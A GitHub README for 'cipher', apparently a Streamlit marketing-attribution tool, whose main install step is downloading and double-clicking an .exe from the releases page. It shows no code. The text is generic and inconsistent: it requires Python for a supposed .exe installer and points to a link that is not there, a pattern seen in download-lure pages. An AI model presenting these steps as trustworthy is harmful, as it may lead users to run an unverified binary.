oldman77057

🌟 cipher - Simplifying Marketing Attribution Analysis

🚀 Getting Started

Welcome to cipher! This application helps you understand marketing effectiveness through a friendly and interactive dashboard. You don’t need to be a tech expert to use it.

📦 Download & Install

To get started, visit the Releases page to download the latest version of cipher.

Click the link above to choose the version that fits your needs.

🔍 Features

cipher offers several useful features to help you analyze marketing strategies:

• Causal Inference Models: Use methods like Propensity Score Matching (PSM) and Difference-in-Differences (DiD) to answer critical marketing questions.
• Uplift Modeling: Discover the true impact of your campaigns by calculating the incremental effect.
• Interactive Dashboard: Visualize your results easily through our Streamlit interface. No coding needed!
• Comprehensive Reports: Generate reports to share findings with your team and stakeholders.

📊 System Requirements

Before downloading, make sure your system meets these requirements:

• Operating System: Windows 10 or later, macOS 10.14 or later
• RAM: Minimum 4 GB
• Storage: At least 500 MB of free space
• Python: Version 3.8 or later installed on your system

If you’re unsure about how to install Python, there are plenty of online guides available to help you.

🛠️ Installation Steps

Here’s how to get cipher running on your machine:

1. Visit the Releases Page: Go to https://github.com/oldman77057/cipher/releases to find the available downloads.
2. Select Your Version: Choose the latest version from the list. Typically, it will be clearly marked.
3. Download the File: Click the download link for the appropriate installer package. It will usually end in .exe or a similar format.
4. Run the Installer: Locate the downloaded file and double-click it to start the installation process. Follow the on-screen instructions.
5. Launch cipher: After installation is complete, you can start the application by finding it in your programs list or desktop.

📈 How to Use cipher

Once you have installed cipher, you can start analyzing your marketing data:

1. Upload Your Data: Open the application and upload your marketing data files. Supported formats include CSV and Excel.
2. Choose Analysis Type: Select the method you want to use. Options include PSM, DiD, or uplift modeling.
3. Visualize Results: Use the interactive dashboard to explore the findings. You can create graphs and charts easily.
4. Generate Reports: Ensure you can share the results by generating reports right from the application.

📝 Contribution Guidelines

If you would like to contribute to cipher, please follow these guidelines:

1. Make Changes: Fork the repository and make your modifications.
2. Document Your Changes: Explain what changes you’ve made and why.
3. Submit a Pull Request: Send us your changes for review.

❓ Frequently Asked Questions

How do I get help with cipher?

If you encounter issues using cipher, check the FAQ section in the application or visit our GitHub page for community support.

Can I run multiple analyses at once?

Yes, you can run different analyses in separate windows, allowing you to compare results side by side.

What kind of data can I use?

You can use various marketing data types, including sales, ad spend, and customer engagement metrics. Just ensure your data is clean and properly formatted.

🔗 Useful Links

• Visit the Releases page to download
• GitHub Repository
• Documentation (coming soon)

🛠️ Technical Support

For technical questions or issues, kindly reach out via the issues tab on our GitHub page. We are here to help.

Thank you for choosing cipher! Enjoy uncovering insights into your marketing efforts with ease.